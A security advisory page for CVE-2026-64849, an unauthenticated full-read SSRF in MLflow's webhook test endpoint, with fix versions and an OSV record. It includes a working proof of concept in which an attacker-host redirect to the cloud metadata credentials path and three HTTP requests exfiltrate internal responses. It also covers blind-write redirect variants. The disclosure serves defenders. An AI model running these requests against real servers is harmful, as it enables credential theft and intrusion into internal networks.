CVE-2026-64849: MLflow Unauthenticated Full-read SSRF Vulnerability

CRITICAL
Advisory Identifier: GHSA-7gwp-5pfp-969j
CVSS 9.3
CWE-918
Published
Advisory Summary

CVE-2026-64849 is a CRITICAL (CVSS 9.3) unauthenticated full-read ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting MLflow libraries in the PyPI ecosystem. The issue involves unauthenticated full-read ssrf in webhook delivery: _validate_webhook_url bypassed via unvalidated http redirects (and dns rebinding). Remediation is available by upgrading affected packages to version 3.15.0.

CVE-2026-64849 at a Glance

CVE Identifier CVE-2026-64849
GHSA Identifier GHSA-7gwp-5pfp-969j
Severity CRITICAL
CVSS v3.1 Base Score 9.3
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product MLflow
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-64849

To remediate this vulnerability, upgrade all affected MLflow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mlflow fixed: 3.15.0
pip install mlflow>=3.15.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mlflow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-64849, inspect your installed packages using pip:

pip show mlflow

Analyze the terminal output to locate any version of MLflow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.15.0), your application is affected.

Note: The pip show mlflow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In MLflow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server. ### Details Three facts combine: 1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default. 2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`: ```python schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"] if parsed_url.scheme not in schemes: raise ... if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False for addr_info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(addr_info[4][0]) if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata ``` The resolved IP is never carried into the connection. 3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: ```python def _create_webhook_session(): adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning ... def _send_webhook_request(webhook, payload, event, session): _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout) # no allow_redirects=False -> 302 followed; redirect Location never re-validated ``` test_webhook returns response_status and response_body to the caller. Bypass vectors: Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning. ### PoC All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the `/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target. Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; } Step 0 — negative control (proves the guard is active; the naive internal URL is rejected): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP) <img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" /> Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}} <img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" /> Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned: POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}} -> 200 {"result":{"success":true,"response_status":200, "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}} <img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" /> Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n" Since I don't have a cloud deployment, I placed "my secret data" in the same location. <img width="730" height="208" alt="image" src="https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c" /> Notes: - Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase maps to ENTITY_UNSPECIFIED and 500s. - Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. - Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed. - Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder. ### Impact An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352). ### Fix Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU. ### Redirect variants The same missing re-validation enables two distinct primitives depending on the redirect status code: - **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). - **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`). Neither requires authentication on a default OSS server. Then add a fix reference near the top or in a "Remediation" note: Follow-up hardening (2026-09): four IPv6-transition bypasses of this fix were independently reported and fixed in https://github.com/mlflow/mlflow/pull/25568, released in MLflow 3.16.0. Thanks to DhiyaneshGeek and neo-ai-engineer (GHSA-7646-8p3r-42ch), kta1kri (GHSA-m56c-jhmp-2mx2), tonghuaroot (GHSA-j9pw-7jr2-x46w), and eeegoloauq (GHSA-3vv4-6hm9-pf24) for reporting. The original is_global classifier did not decode IPv6 addresses embedding an IPv4 address, so 64:ff9b::<ip> (NAT64) and ::ffff:100.64.0.0/10 (IPv4-mapped CGNAT) could pass the guard. The SSRF guard now normalizes IPv4-mapped, 6to4, and NAT64 addresses before classification. Deployments on IPv6/NAT64 networks should upgrade to MLflow 3.16.0 or later.

CVE-2026-64849 Affected MLflow Versions

1 component(s)
Fixed Versions:
3.15.0
Product / Package Ecosystem Affected Versions Fixed Version
mlflow
PyPI
≥ 3.3.0
< 3.15.0
3.15.0

References

Frequently Asked Questions

What is CVE-2026-64849?
CVE-2026-64849 is a security vulnerability in MLflow involving Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding) under CWE-918: Server-Side Request Forgery (SSRF).
Which MLflow versions are affected?
Affected versions include releases prior to 3.15.0 across affected packages: mlflow.
What version fixes CVE-2026-64849?
Upgrading to 3.15.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mlflow affected?
Yes, mlflow is affected in releases prior to 3.15.0. Upgrade your dependency to 3.15.0 or later.
What is the CVSS score of CVE-2026-64849?
CVE-2026-64849 has a CVSS v3.1 base score of 9.3 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2026-64849?
CVE-2026-64849 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-64849?
Run the dependency tree command: 'pip show mlflow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7gwp-5pfp-969j",
  "modified" : "2026-10-02T18:21:50Z",
  "published" : "2026-08-17T21:58:51Z",
  "aliases" : [ "CVE-2026-64849" ],
  "summary" : "MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)",
  "details" : "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False\n    for addr_info in socket.getaddrinfo(hostname, None):\n        ip = ipaddress.ip_address(addr_info[4][0])\n        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning\n    ...\ndef _send_webhook_request(webhook, payload, event, session):\n    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only\n    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n    nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 — negative control (proves the guard is active; the naive internal URL is rejected):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -> 400 {\"message\":\"Invalid webhook URL scheme: 'http'. Allowed schemes are: https.\"}\n    (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n<img width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" />\n\n\nStep 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -> 200 {\"webhook\":{\"webhook_id\":\"<WEBHOOK_ID>\", ... ,\"status\":\"ACTIVE\"}}\n\n<img width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" />\n\n\nStep 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n    POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"webhook_id\":\"<WEBHOOK_ID>\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n    -> 200 {\"result\":{\"success\":true,\"response_status\":200,\n            \"response_body\":\"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>\"}}\n\n<img width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" />\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n    \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nSince I don't have a cloud deployment, I placed \"my secret data\" in the same location.\n\n<img width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" />\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n  maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:\n\nFollow-up hardening (2026-09): four IPv6-transition bypasses of this fix were independently reported and fixed in https://github.com/mlflow/mlflow/pull/25568, released in MLflow 3.16.0. Thanks to DhiyaneshGeek and neo-ai-engineer (GHSA-7646-8p3r-42ch), kta1kri (GHSA-m56c-jhmp-2mx2), tonghuaroot (GHSA-j9pw-7jr2-x46w), and eeegoloauq (GHSA-3vv4-6hm9-pf24) for reporting.  The original is_global classifier did not decode IPv6 addresses embedding an IPv4 address, so 64:ff9b::<ip> (NAT64) and ::ffff:100.64.0.0/10 (IPv4-mapped CGNAT) could pass the guard. The SSRF guard now normalizes IPv4-mapped, 6to4, and NAT64 addresses before classification. Deployments on IPv6/NAT64 networks should upgrade to MLflow 3.16.0 or later.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mlflow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.15.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-64849"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/issues/24179"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/pull/24258"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-7gwp-5pfp-969j"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mlflow/mlflow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2026-3687.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/mlflow"
  }, {
    "type" : "WEB",
    "url" : "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-64849"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T21:58:51Z",
    "nvd_published_at" : "2026-08-17T22:17:23Z"
  }
}